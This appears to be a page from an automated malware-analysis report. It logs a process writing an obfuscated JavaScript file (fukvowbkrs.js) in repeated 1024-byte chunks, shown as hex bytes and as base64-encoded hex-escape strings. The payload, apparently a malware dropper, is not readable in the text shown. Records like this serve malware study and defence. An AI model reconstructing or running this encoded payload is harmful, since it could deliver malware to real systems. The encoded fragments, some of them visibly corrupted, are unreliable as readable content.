RFXHg3OVx4NkJceDY2X
Hg1MFx4MzJc
eDU1XHg3NFx4NDlceDc5
XHg1M1x4Nk
JceDc0XHg1NFx4M

success or wait 5 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4e 63 65 44 5a 44 58 
48 67 30 51 56 78 34 
4e 54 56 63 65 44 55 
7a 58 48 67 30 52 46 
78 34 4e 6b 46 63 65 
44 51 79 58 48 67 30 
51 31 78 34 4e 45 52 
63 65 44 51 32 58 48 
67 7a 52 56 78 34 4d 
6a 56 63 65 44 51 77 
58 48 67 33 4f 56 78 
34 4e 54 6c 63 65 44 
59 78 58 48 67 30 52 
56 78 34 4e 7a 4e 63 
65 44 55 35 58 48 67 
32 4e 31 78 34 4e 45 
52 63 65 44 4d 78 58 
48 67 30 4e 56 78 34 
4e 30 46 63 65 44 63 
31 58 48 67 33 4e 31 
78 34 4e 6b 4a 63 65 
44 5a 44 58 48 67 30 
4f 56 78 34 4d 7a 46 
63 65 44 55 31 58 48 
67 32 4d 31 78 34 4e 
6a 4e 63 65 44 63 78 
58 48 67 32 4e 31 78 
34 4d 7a 6c 63 65 44 
51 34 58 48 67 32 4d 
31 78 34 4e 7a 56 63 
65 44 4d 79 58 48 67 
31 4f 56 78 34 4d 7a 
52 63 65 44 59 78 58 
48 67 32 4d 6c 78 34 
4e 54 6c 63 65 44 4d 
33 58 48 67 31 4f 56 
78 34 4e 

NceDZDXHg0QVx4NTVce
DUzXHg0RFx4
NkFceDQyXHg0Q1x4NER
ceDQ2XHgzRV
x4MjVceDQwXHg3OVx4N
TlceDYxXHg0
RVx4NzNceDU5XHg2N1x
4NERceDMxXH
g0NVx4N0FceDc1XHg3N1
x4NkJceDZD
XHg0OVx4MzFceDU1XHg
2M1x4NjNceD
cxXHg2N1x4MzlceDQ4XH
g2M1x4NzVc
eDMyXHg1OVx4MzRceD
YxXHg2Mlx4NT
lceDM3XHg1OVx4N

success or wait 4 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 52 63 65 44 55 35 58 
48 67 31 4f 46 78 34 
4e 44 52 63 65 44 51 
7a 58 48 67 7a 4f 46 
78 34 4e 55 46 63 65 
44 55 35 58 48 67 32 
4e 31 78 34 4e 7a 6c 
63 65 44 63 32 58 48 
67 30 4e 31 78 34 4e 
44 5a 63 65 44 4d 30 
58 48 67 33 51 56 78 
34 4e 7a 5a 63 65 44 
51 33 58 48 67 30 4e 
6c 78 34 4d 7a 52 63 
65 44 63 35 58 48 67 
79 52 6c 78 34 4e 44 
4e 63 65 44 52 47 58 
48 67 31 4f 56 78 34 
4e 55 46 63 65 44 55 
34 58 48 67 32 4f 46 
78 34 4e 54 42 63 65 
44 59 7a 58 48 67 30 
52 6c 78 34 4e 6a 46 
63 65 44 51 32 58 48 
67 79 51 6c 78 34 4d 
7a 4a 63 65 44 4d 30 
58 48 67 30 51 6c 78 
34 4e 54 6d 63 65 44 
51 34 58 48 67 32 4d 
31 78 34 4e 6a 6c 63 
65 44 4d 77 58 48 67 
7a 4e 56 78 34 4e 45 
52 63 65 44 59 31 58 
48 67 30 52 46 78 34 
4e 44 6d 63 65 44 59 
33 58 48 67 31 4d 31 
78 34 4e 

RceDU5XHg1OFx4NDRce
DQzXHgzOFx4
NUFceDU5XHg2N1x4Nzlc
eDc2XHg0N1
x4NDZceDM0XHg3QVx4N
zZceDQ3XHg0
Nlx4MzRceDc5XHgyRlx4
NDNceDRGXH
g1OVx4NUFceDU4XHg2O
Fx4NTBceDYz
XHg0Rlx4NjFceDQ2XHgy
Qlx4MzJceD
M0XHg0Qlx4NTmceDQ4X
Hg2M1x4Njlc
eDMwXHgzNVx4NERceD
Y1XHg0RFx4ND
mceDY3XHg1M1x4N

success or wait 5 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 52 63 65 44 63 7a 58 
48 67 31 4e 46 78 34 
4d 7a 4a 63 65 44 63 
79 58 48 67 31 4f 56 
78 34 4e 54 42 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 4d 30 58 48 
67 32 51 31 78 34 4e 
54 52 63 65 44 55 32 
58 48 67 32 4d 31 78 
34 4e 45 5a 63 65 44 
4d 77 58 48 67 33 4f 
56 78 34 4d 7a 42 63 
65 44 4d 30 58 48 67 
7a 4f 56 78 34 4e 7a 
42 63 65 44 51 31 58 
48 67 33 4e 46 78 34 
4d 6b 4a 63 65 44 63 
31 58 48 67 30 4d 6c 
78 34 4e 7a 42 63 65 
44 51 35 58 48 67 30 
4f 56 78 34 4e 45 5a 
63 65 44 55 77 58 48 
67 32 4d 6c 78 34 4d 
30 56 63 65 44 49 31 
58 48 67 30 4d 46 78 
34 4e 54 4a 63 65 44 
55 32 58 48 67 31 4e 
46 78 34 4e 44 4e 63 
65 44 5a 43 58 48 67 
33 4f 46 78 34 4d 7a 
46 63 65 44 63 78 58 
48 67 30 51 6c 78 34 
4e 45 46 63 65 44 63 
32 58 48 67 31 4e 6c 
78 34 4e 

RceDczXHg1NFx4MzJceD
cyXHg1OVx4
NTBceDNFXHgyNVx4ND
BceDM0XHg2Q1
x4NTRceDU2XHg2M1x4N
EZceDMwXHg3
OVx4MzBceDM0XHgzOV
x4NzBceDQ1XH
g3NFx4MkJceDc1XHg0Ml
x4NzBceDQ5
XHg0OVx4NEZceDUwXH
g2Mlx4M0VceD
I1XHg0MFx4NTJceDU2X
Hg1NFx4NDNc
eDZCXHg3OFx4MzFceDc
xXHg0Qlx4NE
FceDc2XHg1Nlx4N

success or wait 3 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 46 63 65 44 4a 43 58 
48 67 32 52 46 78 34 
4e 55 46 63 65 44 55 
79 58 48 67 7a 4d 46 
78 34 4d 7a 4a 63 65 
44 55 78 58 48 67 32 
51 6c 78 34 4e 44 6d 
63 65 44 59 78 58 48 
67 30 4e 31 78 34 4d 
7a 46 63 65 44 5a 43 
58 48 67 32 4d 31 78 
34 4d 7a 6c 63 65 44 
6d 42 58 48 67 32 51 
31 78 34 4d 7a 6c 63 
65 44 59 79 58 48 67 
7a 4f 56 78 34 4e 45 
46 63 65 44 63 35 58 
48 67 7a 4d 46 78 34 
4e 45 52 63 65 44 4d 
79 58 48 67 7a 4f 46 
78 34 4e 6a 68 63 65 
44 63 7a 58 48 67 30 
4e 31 78 34 4e 6b 4a 
63 65 44 55 31 58 48 
67 30 4e 6c 78 34 4e 
7a 5a 63 65 44 63 78 
58 48 67 31 51 56 78 
34 4e 55 46 63 65 44 
4d 78 58 48 67 31 4d 
46 78 34 4e 54 4e 63 
65 44 51 31 58 48 67 
33 4d 31 78 34 4d 7a 
52 63 65 44 63 31 58 
48 67 32 52 46 78 34 
4d 7a 4a 63 65 44 51 
7a 58 48 67 33 4e 31 
78 34 4e 

FceDJCXHg2RFx4NUFce
DUyXHgzMFx4
MzJceDUxXHg2Qlx4NDm
ceDYxXHg0N1
x4MzFceDZCXHg2M1x4M
zlceDmBXHg2
Q1x4MzlceDYyXHgzOVx4
NEFceDc5XH
gzMFx4NERceDMyXHgzO
Fx4NjhceDcz
XHg0N1x4NkJceDU1XHg0
Nlx4NzZceD
cxXHg1QVx4NUFceDMxX
Hg1MFx4NTNc
eDQ1XHg3M1x4MzRceDc
1XHg2RFx4Mz
JceDQzXHg3N1x4N

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 52 63 65 44 59 33 58 
48 67 33 4d 31 78 34 
4e 6b 46 63 65 44 52 
47 58 48 67 30 51 31 
78 34 4e 7a 6d 63 65 
44 55 32 58 48 67 30 
4f 46 78 34 4e 6a 4e 
63 65 44 51 31 58 48 
67 31 4e 46 78 34 4e 
6b 5a 63 65 44 4d 35 
58 48 67 32 52 56 78 
34 4e 6a 46 63 65 44 
51 30 58 48 67 32 4e 
46 78 34 4e 6a 68 63 
65 44 63 30 58 48 67 
30 51 6c 78 34 4e 6a 
5a 63 65 44 4d 31 58 
48 67 33 4e 56 78 34 
4d 7a 68 63 65 44 55 
78 58 48 67 33 4e 6c 
78 34 4e 54 4a 63 65 
44 51 34 58 48 67 7a 
4d 46 78 34 4e 44 56 
63 65 44 59 79 58 48 
67 32 4e 6c 78 34 4e 
6a 56 63 65 44 55 30 
58 48 67 33 4e 31 78 
34 4e 6a 6d 63 65 44 
59 30 58 48 67 32 52 
6c 78 34 4e 44 6d 63 
65 44 59 35 58 48 67 
31 4f 56 78 34 4e 6a 
4a 63 65 44 63 79 58 
48 67 32 51 6c 78 34 
4e 6b 4a 63 65 44 5a 
44 58 48 67 30 4e 31 
78 34 4e 

RceDY3XHg3M1x4NkFce
DRGXHg0Q1x4
NzmceDU2XHg0OFx4NjN
ceDQ1XHg1NF
x4NkZceDM5XHg2RVx4Nj
FceDQ0XHg2
NFx4NjhceDc0XHg0Qlx4N
jZceDM1XH
g3NVx4MzhceDUxXHg3Nl
x4NTJceDQ4
XHgzMFx4NDVceDYyXHg
2Nlx4NjVceD
U0XHg3N1x4NjmceDY0X
Hg2Rlx4NDmc
eDY5XHg1OVx4NjJceDcy
XHg2Qlx4Nk
JceDZDXHg0N1x4N

success or wait 3 6F489FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright null 2021 Page 88 of 706



C:\Users\user\fukvowbkrs.js unknown 1024 5a 63 65 44 55 35 58 
48 67 33 4d 46 78 34 
4e 54 5a 63 65 44 52 
43 58 48 67 30 4f 46 
78 34 4e 54 46 63 65 
44 59 78 58 48 67 32 
52 6c 78 34 4e 54 68 
63 65 44 55 33 58 48 
67 30 51 6c 78 34 4e 
45 4e 63 65 44 55 79 
58 48 67 31 4e 31 78 
34 4e 6b 5a 63 65 44 
55 34 58 48 67 31 4e 
56 78 34 4e 45 4a 63 
65 44 55 32 58 48 67 
31 4d 31 78 34 4e 7a 
42 63 65 44 4d 77 58 
48 67 33 4d 31 78 34 
4e 54 56 63 65 44 52 
44 58 48 67 33 4d 6c 
78 34 4e 44 5a 63 65 
44 59 30 58 48 67 33 
4d 56 78 34 4e 6a 6d 
63 65 44 4d 77 58 48 
67 30 4e 56 78 34 4e 
6a 46 63 65 44 51 32 
58 48 67 30 52 56 78 
34 4e 6a 6c 63 65 44 
5a 45 58 48 67 7a 4d 
46 78 34 4e 54 6d 63 
65 44 59 78 58 48 67 
30 4e 56 78 34 4e 7a 
52 63 65 44 51 7a 58 
48 67 32 52 46 78 34 
4d 7a 46 63 65 44 55 
32 58 48 67 7a 4e 6c 
78 34 4e 

ZceDU5XHg3MFx4NTZce
DRCXHg0OFx4
NTFceDYxXHg2Rlx4NThc
eDU3XHg0Ql
x4NENceDUyXHg1N1x4N
kZceDU4XHg1
NVx4NEJceDU2XHg1M1x
4NzBceDMwXH
g3M1x4NTVceDRDXHg3M
lx4NDZceDY0
XHg3MVx4NjmceDMwXH
g0NVx4NjFceD
Q2XHg0RVx4NjlceDZEXH
gzMFx4NTmc
eDYxXHg0NVx4NzRceDQ
zXHg2RFx4Mz
FceDU2XHgzNlx4N

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 6d 63 65 44 51 7a 58 
48 67 32 4d 56 78 34 
4d 7a 52 63 65 44 56 
42 58 48 67 30 4e 31 
78 34 4d 7a 6c 63 65 
44 63 78 58 48 67 31 
4f 46 78 34 4e 7a 4a 
63 65 44 52 46 58 48 
67 33 4d 46 78 34 4e 
54 56 63 65 44 55 33 
58 48 67 32 4d 6c 78 
34 4d 7a 5a 63 65 44 
63 78 58 48 67 33 4d 
46 78 34 4e 44 68 63 
65 44 4d 79 58 48 67 
7a 4d 56 78 34 4e 6a 
4a 63 65 44 4d 7a 58 
48 67 30 4f 46 78 34 
4e 7a 42 63 65 44 52 
43 58 48 67 32 51 6c 
78 34 4e 45 4a 63 65 
44 5a 45 58 48 67 32 
4e 56 78 34 4d 7a 52 
63 65 44 55 33 58 48 
67 32 4e 6c 78 34 4e 
45 52 63 65 44 52 46 
58 48 67 32 4e 56 78 
34 4d 7a 6c 63 65 44 
5a 47 58 48 67 33 4e 
56 78 34 4e 54 6c 63 
65 44 52 43 58 48 67 
79 52 6c 78 34 4e 6a 
46 63 65 44 59 34 58 
48 67 32 4e 56 78 34 
4e 7a 42 63 65 44 59 
34 58 48 67 79 51 6c 
78 34 4e 

mceDQzXHg2MVx4MzRc
eDVBXHg0N1x4
MzlceDcxXHg1OFx4NzJc
eDRFXHg3MF
x4NTVceDU3XHg2Mlx4M
zZceDcxXHg3
MFx4NDhceDMyXHgzMV
x4NjJceDMzXH
g0OFx4NzBceDRCXHg2Q
lx4NEJceDZE
XHg2NVx4MzRceDU3XHg
2Nlx4NERceD
RFXHg2NVx4MzlceDZGX
Hg3NVx4NTlc
eDRCXHgyRlx4NjFceDY4
XHg2NVx4Nz
BceDY4XHgyQlx4N

success or wait 2 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 6d 63 65 44 63 7a 58 
48 67 32 52 6c 78 34 
4e 7a 6d 63 65 44 51 
33 58 48 67 31 4d 46 
78 34 4e 54 6d 63 65 
44 59 78 58 48 67 32 
4e 6c 78 34 4e 7a 6c 
63 65 44 52 42 58 48 
67 7a 4e 31 78 34 4e 
7a 5a 63 65 44 63 7a 
58 48 67 7a 4e 31 78 
34 4e 44 6d 63 65 44 
55 32 58 48 67 7a 4e 
46 78 34 4e 44 68 63 
65 44 51 7a 58 48 67 
33 4e 6c 78 34 4d 7a 
4a 63 65 44 51 32 58 
48 67 7a 4f 46 78 34 
4e 6b 4e 63 65 44 63 
33 58 48 67 7a 4d 46 
78 34 4d 7a 5a 63 65 
44 59 34 58 48 67 30 
52 6c 78 34 4e 6a 52 
63 65 44 6d 42 58 48 
67 79 51 6c 78 34 4e 
44 5a 63 65 44 59 30 
58 48 67 31 4f 46 78 
34 4e 45 46 63 65 44 
59 33 58 48 67 31 4e 
31 78 34 4e 45 52 63 
65 44 6d 42 58 48 67 
32 4f 46 78 34 4d 7a 
52 63 65 44 59 31 58 
48 67 33 4d 46 78 34 
4e 6a 52 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 

mceDczXHg2Rlx4NzmceD
Q3XHg1MFx4
NTmceDYxXHg2Nlx4Nzlc
eDRBXHgzN1
x4NzZceDczXHgzN1x4ND
mceDU2XHgz
NFx4NDhceDQzXHg3Nlx4
MzJceDQ2XH
gzOFx4NkNceDc3XHgzM
Fx4MzZceDY4
XHg0Rlx4NjRceDmBXHgy
Qlx4NDZceD
Y0XHg1OFx4NEFceDY3X
Hg1N1x4NERc
eDmBXHg2OFx4MzRceD
Y1XHg3MFx4Nj
RceDNFXHgyNVx4N

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 56 63 65 44 55 79 58 
48 67 32 4f 56 78 34 
4e 54 46 63 65 44 4d 
30 58 48 67 32 4e 46 
78 34 4e 6b 4e 63 65 
44 51 7a 58 48 67 31 
4d 31 78 34 4e 44 6d 
63 65 44 4d 33 58 48 
67 32 4e 46 78 34 4e 
44 4e 63 65 44 4d 30 
58 48 67 32 4d 6c 78 
34 4e 45 4a 63 65 44 
59 78 58 48 67 32 51 
6c 78 34 4e 44 6d 63 
65 44 5a 44 58 48 67 
33 4e 46 78 34 4e 6b 
56 63 65 44 52 42 58 
48 67 30 4e 46 78 34 
4d 7a 5a 63 65 44 59 
79 58 48 67 33 4d 31 
78 34 4e 54 42 63 65 
44 55 7a 58 48 67 32 
4e 31 78 34 4d 7a 6d 
63 65 44 63 78 58 48 
67 32 51 31 78 34 4e 
6b 4e 63 65 44 4a 47 
58 48 67 32 52 56 78 
34 4d 7a 6c 63 65 44 
4d 35 58 48 67 32 4d 
6c 78 34 4e 54 6d 63 
65 44 63 77 58 48 67 
33 4e 56 78 34 4e 54 
4a 63 65 44 4d 7a 58 
48 67 7a 52 56 78 34 
4d 6a 56 63 65 44 51 
77 58 48 67 31 4e 46 
78 34 4e 

VceDUyXHg2OVx4NTFce
DM0XHg2NFx4
NkNceDQzXHg1M1x4ND
mceDM3XHg2NF
x4NDNceDM0XHg2Mlx4N
EJceDYxXHg2
Qlx4NDmceDZDXHg3NFx
4NkVceDRBXH
g0NFx4MzZceDYyXHg3M
1x4NTBceDUz
XHg2N1x4MzmceDcxXHg
2Q1x4NkNceD
JGXHg2RVx4MzlceDM5X
Hg2Mlx4NTmc
eDcwXHg3NVx4NTJceDM
zXHgzRVx4Mj
VceDQwXHg1NFx4N

success or wait 5 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 6d 63 65 44 63 30 58 
48 67 7a 4d 46 78 34 
4e 44 6d 63 65 44 5a 
44 58 48 67 32 4d 6c 
78 34 4e 54 5a 63 65 
44 59 7a 58 48 67 32 
4d 31 78 34 4e 7a 52 
63 65 44 59 33 58 48 
67 32 4e 56 78 34 4e 
6a 68 63 65 44 4d 31 
58 48 67 31 4d 46 78 
34 4e 7a 52 63 65 44 
63 34 58 48 67 33 4d 
31 78 34 4e 6a 52 63 
65 44 59 31 58 48 67 
32 51 56 78 34 4e 7a 
68 63 65 44 63 7a 58 
48 67 33 4d 46 78 34 
4e 54 4a 63 65 44 4d 
31 58 48 67 32 4e 56 
78 34 4e 54 68 63 65 
44 52 42 58 48 67 30 
4d 6c 78 34 4e 6b 46 
63 65 44 63 30 58 48 
67 30 51 31 78 34 4e 
44 6d 63 65 44 55 7a 
58 48 67 31 4f 56 78 
34 4e 54 4a 63 65 44 
55 32 58 48 67 30 52 
46 78 34 4d 7a 4e 63 
65 44 5a 45 58 48 67 
31 4e 31 78 34 4e 44 
56 63 65 44 52 47 58 
48 67 33 4d 6c 78 34 
4e 7a 52 63 65 44 55 
35 58 48 67 31 51 56 
78 34 4d 

mceDc0XHgzMFx4NDmce
DZDXHg2Mlx4
NTZceDYzXHg2M1x4NzR
ceDY3XHg2NV
x4NjhceDM1XHg1MFx4Nz
RceDc4XHg3
M1x4NjRceDY1XHg2QVx
4NzhceDczXH
g3MFx4NTJceDM1XHg2N
Vx4NThceDRB
XHg0Mlx4NkFceDc0XHg0
Q1x4NDmceD
UzXHg1OVx4NTJceDU2X
Hg0RFx4MzNc
eDZEXHg1N1x4NDVceDR
GXHg3Mlx4Nz
RceDU5XHg1QVx4M

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 52 63 65 44 59 34 58 
48 67 30 51 6c 78 34 
4e 45 4e 63 65 44 63 
77 58 48 67 79 51 6c 
78 34 4e 45 4a 63 65 
44 63 33 58 48 67 33 
4d 31 78 34 4e 45 5a 
63 65 44 4d 79 58 48 
67 33 4f 46 78 34 4e 
44 56 63 65 44 52 47 
58 48 67 33 4e 56 78 
34 4d 7a 4e 63 65 44 
59 35 58 48 67 7a 4e 
6c 78 34 4d 7a 52 63 
65 44 4d 33 58 48 67 
30 4e 31 78 34 4e 54 
52 63 65 44 59 78 58 
48 67 30 52 46 78 34 
4d 7a 4a 63 65 44 59 
31 58 48 67 33 4d 46 
78 34 4e 54 46 63 65 
44 55 32 58 48 67 33 
4d 56 78 34 4e 6a 5a 
63 65 44 59 78 58 48 
67 7a 4f 46 78 34 4e 
44 6c 63 65 44 55 33 
58 48 67 32 4d 56 78 
34 4e 54 6c 63 65 44 
59 32 58 48 67 30 4f 
46 78 34 4e 6b 4a 63 
65 44 4d 77 58 48 67 
32 4e 56 78 34 4d 7a 
6c 63 65 44 51 32 58 
48 67 32 52 6c 78 34 
4e 6a 68 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 

RceDY4XHg0Qlx4NENce
DcwXHgyQlx4
NEJceDc3XHg3M1x4NEZ
ceDMyXHg3OF
x4NDVceDRGXHg3NVx4
MzNceDY5XHgz
Nlx4MzRceDM3XHg0N1x4
NTRceDYxXH
g0RFx4MzJceDY1XHg3M
Fx4NTFceDU2
XHg3MVx4NjZceDYxXHgz
OFx4NDlceD
U3XHg2MVx4NTlceDY2X
Hg0OFx4NkJc
eDMwXHg2NVx4MzlceDQ
2XHg2Rlx4Nj
hceDNFXHgyNVx4N
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C:\Users\user\fukvowbkrs.js unknown 149 46 63 65 44 51 79 58 
48 67 30 4e 6c 78 34 
4d 6b 5a 63 65 44 52 
44 58 48 67 79 51 6c 
78 34 4e 54 46 63 65 
44 4a 47 58 48 67 33 
4f 46 78 34 4e 6a 56 
63 65 44 4d 31 58 48 
67 31 4f 46 78 34 4e 
44 4e 63 65 44 59 30 
58 48 67 32 4d 31 78 
34 4e 30 46 63 65 44 
59 34 58 48 67 31 4d 
46 78 34 4e 45 4a 63 
65 44 63 77 58 48 67 
32 4e 31 78 34 4e 54 
56 63 65 44 5a 46 58 
48 67 33 4f 46 78 34 
4e 44 68 63 65 44 4d 
32 58 48 67 31 4f 46 
78 34 4e 6b 4a 63 65 
44 4a 

FceDQyXHg0Nlx4MkZceD
RDXHgyQlx4
NTFceDJGXHg3OFx4NjV
ceDM1XHg1OF
x4NDNceDY0XHg2M1x4N
0FceDY4XHg1
MFx4NEJceDcwXHg2N1x
4NTVceDZFXH
g3OFx4NDhceDM2XHg1O
Fx4NkJceDJ

success or wait 6 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 47 58 48 67 32 4d 31 
78 34 4d 6b 5a 63 65 
44 5a 43 58 48 67 7a 
4f 56 78 34 4e 7a 68 
63 65 44 55 77 58 48 
67 31 4e 46 78 34 4d 
7a 42 63 65 44 4e 46 
58 48 67 79 4e 56 78 
34 4e 44 42 63 65 44 
51 79 58 48 67 33 4d 
46 78 34 4d 7a 52 63 
65 44 51 35 58 48 67 
32 4e 56 78 34 4d 7a 
6c 63 65 44 52 47 58 
48 67 33 51 56 78 34 
4e 6a 68 63 65 44 55 
35 58 48 67 30 51 6c 
78 34 4d 6b 5a 63 65 
44 63 30 58 48 67 32 
52 6c 78 34 4e 30 46 
63 65 44 52 47 58 48 
67 30 52 6c 78 34 4e 
45 52 63 65 44 4d 34 
58 48 67 7a 4e 46 78 
34 4e 6a 46 63 65 44 
5a 42 58 48 67 33 4d 
6c 78 34 4e 6a 52 63 
65 44 51 31 58 48 67 
33 4e 56 78 34 4d 7a 
52 63 65 44 4d 31 58 
48 67 30 51 56 78 34 
4e 7a 46 63 65 44 6d 
42 58 48 67 30 52 6c 
78 34 4d 7a 6c 63 65 
44 59 34 58 48 67 33 
4f 46 78 34 4d 7a 42 
63 65 44 

GXHg2M1x4MkZceDZCX
HgzOVx4Nzhce
DUwXHg1NFx4MzBceDN
FXHgyNVx4NDB
ceDQyXHg3MFx4MzRceD
Q5XHg2NVx4M
zlceDRGXHg3QVx4Njhce
DU5XHg0Qlx
4MkZceDc0XHg2Rlx4N0F
ceDRGXHg0R
lx4NERceDM4XHgzNFx4
NjFceDZBXHg
3Mlx4NjRceDQ1XHg3NVx
4MzRceDM1X
Hg0QVx4NzFceDmBXHg0
Rlx4MzlceDY
4XHg3OFx4MzBceD
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C:\Users\user\fukvowbkrs.js unknown 1024 44 58 48 67 31 4f 46 
78 34 4d 7a 6c 63 65 
44 63 33 58 48 67 7a 
4f 46 78 34 4d 7a 42 
63 65 44 59 35 58 48 
67 7a 4e 46 78 34 4e 
7a 68 63 65 44 63 33 
58 48 67 7a 4e 56 78 
34 4e 55 46 63 65 44 
4a 47 58 48 67 32 4d 
56 78 34 4e 54 6c 63 
65 44 55 30 58 48 67 
7a 52 56 78 34 4d 6a 
56 63 65 44 51 77 58 
48 67 30 4f 56 78 34 
4d 7a 6d 63 65 44 4a 
43 58 48 67 32 52 6c 
78 34 4e 6a 4e 63 65 
44 63 79 58 48 67 32 
4f 46 78 34 4e 6a 46 
63 65 44 63 31 58 48 
67 30 52 46 78 34 4e 
6b 56 63 65 44 51 79 
58 48 67 30 4e 46 78 
34 4e 7a 6d 63 65 44 
51 79 58 48 67 7a 52 
56 78 34 4d 6a 56 63 
65 44 51 77 58 48 67 
7a 4e 56 78 34 4e 45 
52 63 65 44 55 77 58 
48 67 32 52 6c 78 34 
4e 45 52 63 65 44 63 
77 58 48 67 32 52 56 
78 34 4e 7a 4e 63 65 
44 52 47 58 48 67 79 
51 6c 78 34 4e 6a 4a 
63 65 44 

DXHg1OFx4MzlceDc3XHg
zOFx4MzBce
DY5XHgzNFx4NzhceDc3
XHgzNVx4NUF
ceDJGXHg2MVx4NTlceD
U0XHgzRVx4M
jVceDQwXHg0OVx4Mzmc
eDJCXHg2Rlx
4NjNceDcyXHg2OFx4NjFc
eDc1XHg0R
Fx4NkVceDQyXHg0NFx4
NzmceDQyXHg
zRVx4MjVceDQwXHgzNV
x4NERceDUwX
Hg2Rlx4NERceDcwXHg2R
Vx4NzNceDR
GXHgyQlx4NjJceD

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 32 58 48 67 30 4d 31 
78 34 4d 7a 5a 63 65 
44 5a 44 58 48 67 79 
52 6c 78 34 4d 6b 4a 
63 65 44 51 7a 58 48 
67 32 51 6c 78 34 4d 
7a 6d 63 65 44 4d 7a 
58 48 67 33 4e 31 78 
34 4e 45 56 63 65 44 
5a 47 58 48 67 33 4e 
46 78 34 4d 7a 4a 63 
65 44 4a 43 58 48 67 
30 4d 6c 78 34 4e 6a 
5a 63 65 44 55 33 58 
48 67 7a 4f 46 78 34 
4e 6a 5a 63 65 44 55 
30 58 48 67 7a 4e 56 
78 34 4e 54 68 63 65 
44 55 78 58 48 67 30 
4f 56 78 34 4d 7a 5a 
63 65 44 5a 43 58 48 
67 31 4d 31 78 34 4e 
44 6d 63 65 44 5a 43 
58 48 67 33 4e 31 78 
34 4e 54 6d 63 65 44 
4d 77 58 48 67 30 51 
56 78 34 4d 7a 4a 63 
65 44 63 32 58 48 67 
31 51 56 78 34 4e 6a 
6d 63 65 44 51 33 58 
48 67 7a 4e 56 78 34 
4e 54 56 63 65 44 5a 
47 58 48 67 32 51 31 
78 34 4e 54 42 63 65 
44 55 35 58 48 67 30 
4e 31 78 34 4e 6a 5a 
63 65 44 

2XHg0M1x4MzZceDZDXH
gyRlx4MkJce
DQzXHg2Qlx4MzmceDMz
XHg3N1x4NEV
ceDZGXHg3NFx4MzJceD
JCXHg0Mlx4N
jZceDU3XHgzOFx4NjZce
DU0XHgzNVx
4NThceDUxXHg0OVx4Mz
ZceDZCXHg1M
1x4NDmceDZCXHg3N1x4
NTmceDMwXHg
0QVx4MzJceDc2XHg1QV
x4NjmceDQ3X
HgzNVx4NTVceDZGXHg2
Q1x4NTBceDU
5XHg0N1x4NjZceD

success or wait 2 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 43 58 48 67 32 4e 31 
78 34 4e 7a 46 63 65 
44 59 33 58 48 67 32 
4e 6c 78 34 4e 7a 6d 
63 65 44 63 30 58 48 
67 33 51 56 78 34 4d 
30 56 63 65 44 49 31 
58 48 67 30 4d 46 78 
34 4e 44 6c 63 65 44 
51 7a 58 48 67 7a 4e 
56 78 34 4e 45 4e 63 
65 44 5a 47 58 48 67 
30 4f 46 78 34 4e 44 
56 63 65 44 4e 46 58 
48 67 79 4e 56 78 34 
4e 44 42 63 65 44 59 
30 58 48 67 31 4d 56 
78 34 4e 6b 4a 63 65 
44 4d 77 58 48 67 32 
52 56 78 34 4e 44 6d 
63 65 44 63 35 58 48 
67 32 4f 46 78 34 4e 
6b 4a 63 65 44 4d 7a 
58 48 67 31 4f 56 78 
34 4e 6b 46 63 65 44 
52 43 58 48 67 7a 4f 
46 78 34 4e 54 46 63 
65 44 4d 34 58 48 67 
32 4e 56 78 34 4d 7a 
6d 63 65 44 52 46 58 
48 67 31 4e 56 78 34 
4d 7a 4e 63 65 44 51 
34 58 48 67 30 52 6c 
78 34 4e 7a 42 63 65 
44 6d 42 58 48 67 31 
4f 56 78 34 4d 6b 5a 
63 65 44 

CXHg2N1x4NzFceDY3XH
g2Nlx4Nzmce
Dc0XHg3QVx4M0VceDI1
XHg0MFx4NDl
ceDQzXHgzNVx4NENceD
ZGXHg0OFx4N
DVceDNFXHgyNVx4NDBc
eDY0XHg1MVx
4NkJceDMwXHg2RVx4ND
mceDc5XHg2O
Fx4NkJceDMzXHg1OVx4
NkFceDRCXHg
zOFx4NTFceDM4XHg2NV
x4MzmceDRFX
Hg1NVx4MzNceDQ4XHg0
Rlx4NzBceDm
BXHg1OVx4MkZceD

success or wait 3 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 79 58 48 67 7a 52 56 
78 34 4d 6a 56 63 65 
44 51 77 58 48 67 7a 
4e 6c 78 34 4e 54 6d 
63 65 44 51 30 58 48 
67 30 52 6c 78 34 4e 
45 46 63 65 44 59 79 
58 48 67 7a 52 56 78 
34 4d 6a 56 63 65 44 
51 77 58 48 67 7a 4e 
6c 78 34 4e 7a 68 63 
65 44 52 42 58 48 67 
7a 4e 46 78 34 4e 6a 
4a 63 65 44 55 7a 58 
48 67 7a 4d 31 78 34 
4e 6b 4e 63 65 44 5a 
43 58 48 67 7a 4e 6c 
78 34 4d 7a 68 63 65 
44 4d 78 58 48 67 30 
51 6c 78 34 4d 7a 52 
63 65 44 51 34 58 48 
67 32 51 56 78 34 4e 
44 4e 63 65 44 55 32 
58 48 67 33 4e 31 78 
34 4d 7a 46 63 65 44 
51 79 58 48 67 30 4e 
46 78 34 4e 6a 5a 63 
65 44 63 79 58 48 67 
31 4f 56 78 34 4d 7a 
5a 63 65 44 51 33 58 
48 67 32 51 56 78 34 
4e 6a 5a 63 65 44 55 
77 58 48 67 30 51 31 
78 34 4e 7a 4a 63 65 
44 51 31 58 48 67 7a 
4e 31 78 34 4e 6a 6c 
63 65 44 

yXHgzRVx4MjVceDQwXH
